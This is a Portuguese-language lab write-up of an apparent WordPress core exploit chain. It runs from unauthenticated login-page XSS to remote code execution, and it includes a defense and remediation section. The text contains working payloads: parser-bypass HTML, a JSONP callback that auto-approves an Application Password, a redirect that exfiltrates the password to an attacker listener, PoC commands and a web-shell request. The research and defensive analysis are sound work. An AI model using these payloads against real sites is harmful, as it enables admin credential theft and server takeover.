Apenas testes autorizados.
Tudo abaixo foi executado em um laboratório local (WordPress 7.0.2 em localhos). Não utilize estas técnicas em sistemas que você não possui ou para os quais não tem permissão explícita para testar.
Resumo executivo
XSS2Shell não é uma única vulnerabilidade — é uma cadeia de exploração de sete etapas que começa com um caractere (< seguido de um espaço) contornando dois parsers HTML diferentes na página de login do WordPress, e termina com PHP sendo executado no servidor como www-data.
O que o torna perigoso:
- A Etapa 1 não requer autenticação — qualquer pessoa pode acionar JavaScript em
wp-login.php. - Reside no núcleo do WordPress — não é um plugin; praticamente todas as instalações suportadas desde 2016 são afetadas.
- Utiliza o próprio código do WordPress —
user-profile.js, REST JSONP, Senhas de Aplicativo, upload de plugin — como gadgets. - RCE completo é demonstrado e reconhecido pelo WordPress — embora exija enganar um administrador autenticado para realizar um clique.
Este artigo percorre cada etapa com capturas de tela do nosso laboratório local.
O ambiente de laboratório
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 em http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Todo site WordPress expõe /wp-login.php. Essa página é o ponto de entrada para toda a cadeia.
Estágio 0: O diferencial do parser (causa raiz)
Quando o login falha, o WordPress exibe o nome de usuário enviado dentro de uma mensagem de erro. O nome de usuário passa por dois sanitizadores que discordam sobre o que é uma "tag":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
O payload usa um espaço após<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XNo WordPress 7.0.2 vulnerável, isso sobrevive à sanitização e se torna DOM ativo:
./scripts/demo-parser-diff.sh http://localhost:9080
No WordPress 7.0.4 corrigido, o mesmo payload é escapado como HTML na mensagem de erro — sem elementos ativos.
Este bug existe desde o WordPress 4.7 (2016) e passou despercebido por anos de auditorias de segurança.
Estágio 1: XSS sem autenticação (sem necessidade de login)
Os nós DOM injetados correspondem aos seletores que o próprio user-profile.js do WordPress procura na página de login (carregado para o fluxo de redefinição de senha):
.reset-pass-submit .wp-generate-pwé clicado automaticamente no carregamento da página- O clique se propaga para o manipulador delegado de
#color-picker - A verificação de guarda
user_id === checkuser_idpassa porque ambos sãoundefined - O jQuery faz POST para
ajaxurl— masajaxurlnão existe na página de login…
A menos que o sobrescrevamos:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>O elemento <area id=ajaxurl> torna-se window.ajaxurl. O jQuery chama .toString() → retorna href. O WordPress REST retorna JSONP → jQuery globalEval() → alert()é executado na origem do WordPress.

Envie o formulário (ou abra demo/stage1-preauth-xss.html e clique em Executar Estágio 1):

Impacto somente neste estágio: phishing de credenciais no domínio real, session riding, chamadas à API de mesma origem — sem nenhuma autenticação.
Estágio 2: Engenharia social — o clique do administrador
Os Estágios 2–7 exigem que um administrador autenticado abra uma página controlada pelo atacante. Essa é a fricção que mantém o CVSS abaixo de 10 — mas é realista para ataques direcionados.
O administrador pode receber: "Sua sessão expirou — clique aqui para se autenticar novamente."

Quando clicada, a página do atacante:
- Abre um popup filho (
about:blank) - Redireciona a janela principal para a página de autorização de Senha de Aplicativo do WordPress
- Escreve um formulário XSS na janela filha e o submete automaticamente para
wp-login.php

Estágio 3: Execução de Método de Mesma Origem (SOME) — aprovação automática
O payload XSS da janela filha altera o callback JSONP de alert para:
window.opener.approve.clickO WordPress REST encapsula a resposta:
/**/window.opener.approve.click({...})O runtime resolve window.opener (janela pai) → .approve (o botão #approve) → .click(). O botão Aprovar da Senha de Aplicativo é clicado automaticamente — sem interação do usuário nessa página.

Observe a URL de callback na página: as credenciais serão enviadas para http://127.0.0.1:9090/callback?...&password=[------].
Estágio 4: Captura de Senha de Aplicativo
O WordPress cria uma nova Senha de Aplicativo e redireciona para o success_url do atacante com a credencial na string de consulta:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXO atacante agora possui credenciais de autenticação HTTP Basic para a API REST do WordPress — obtidas a partir da própria sessão do administrador, sem que ele precise digitar nada após o clique inicial no link.
Estágio 5: Publicação de página controlada pelo atacante
Usando a Senha de Aplicativo roubada, o atacante faz um POST para /wp-json/wp/v2/pages e publica uma página com JavaScript incorporado. Administradores possuem a capacidade unfiltered_html — as tags de script sobrevivem.
Estágio 6: Upload de plugin via sessão de administrador
O JavaScript do atacante (executado no navegador do administrador na página publicada):
- Obtém
/wp-admin/plugin-install.php?tab=uploadpara o nonce de upload - Faz POST de um ZIP malicioso para
/wp-admin/update.php?action=upload-plugin - O WordPress o extrai para
wp-content/plugins/xss2shell/
O plugin não precisa ser ativado. Arquivos PHP no diretório do plugin são diretamente acessíveis pela web.
Estágio 7: Execução remota de código
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiResposta:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
O atacante agora executa comandos arbitrários como o usuário do servidor web — lê o wp-config.php (credenciais do banco de dados), despeja o banco de dados e realiza movimentação lateral.
Saída completa do terminal do PoC:

A cadeia completa em resumo
sequenceDiagram participant A as Servidor do atacante participant V as Navegador da vítima participant W as WordPress 7.0.2 Note over V,W: Admin está autenticado V->>A: Abre link de phishing (1 clique) A->>V: HTML do atacante + popup filho V->>W: Janela principal → authorize-application.php V->>W: Filho envia POST com payload XSS para wp-login.php W->>V: JSONP executa window.opener.approve.click Note over V,W: Botão Aprovar clicado automaticamente W->>A: Redirecionamento com Senha de Aplicativo A->>W: REST API publica página (autenticação Basic) V->>W: Admin visita a página → faz upload do plugin ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataQuão perigoso é realmente?
O que é garantido (alta confiança)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
O que requer condições adicionais (caminho para RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Calibração de severidade
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Conclusão: Isso não é um RCE zero-click propagável como o Log4Shell. É uma vulnerabilidade altamente técnica no núcleo, afetando ~43% da web, onde:
- O Estágio 1 isoladamente é um XSS pré-autenticação grave na página de login
- A cadeia completa converte um único clique do administrador em comprometimento do servidor
- A causa raiz (diferencial de parser) se aplica a qualquer base de código que utilize múltiplos parsers HTML
O próprio comunicado do WordPress afirma que o RCE requer "condições fora do controle do atacante" e "engenharia social bem-sucedida." Isso é preciso — mas a cadeia demonstrada torna essas condições alcançáveis com um único link.
Reproduzir a cadeia completa localmente
# 1. Iniciar o laboratório make up # 2. Habilitar Senhas de Aplicativo em HTTP (somente no laboratório) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Iniciar o listener do PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. No navegador: # a. Faça login como admin em http://localhost:9080/wp-login.php # b. Abra http://127.0.0.1:9091/phishing-sim.html # c. Clique em "Abrir página do atacante" (permita popups) # d. Aguarde a saída no terminal mostrando o shell + whoamiDefesa
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
A correção adiciona esc_html() ao nome de usuário no caminho de erro de login — garantindo que a string seja tratada como texto, e não reanalisada como HTML.
Por que isso importa para a pesquisa de segurança
Cada elo da cadeia é individualmente trivial:
- Diferencial de parser → problema de manutenção de baixa severidade
- Script incorreto carregado na página de login → baixo
- Callback JSONP validado por regex → médio
- Senha de aplicativo em URL de redirecionamento → médio
- Diretório de plugin executa PHP sem ativação → design conhecido
Montados, eles resultam em CVSS 8,9 e um shell.
A lição: ao avaliar descobertas de XSS, pergunte-se "o que já está carregado nesta página e o que ela fará se eu fornecer os nós DOM certos?" A severidade é uma propriedade da cadeia, não do bug individual.



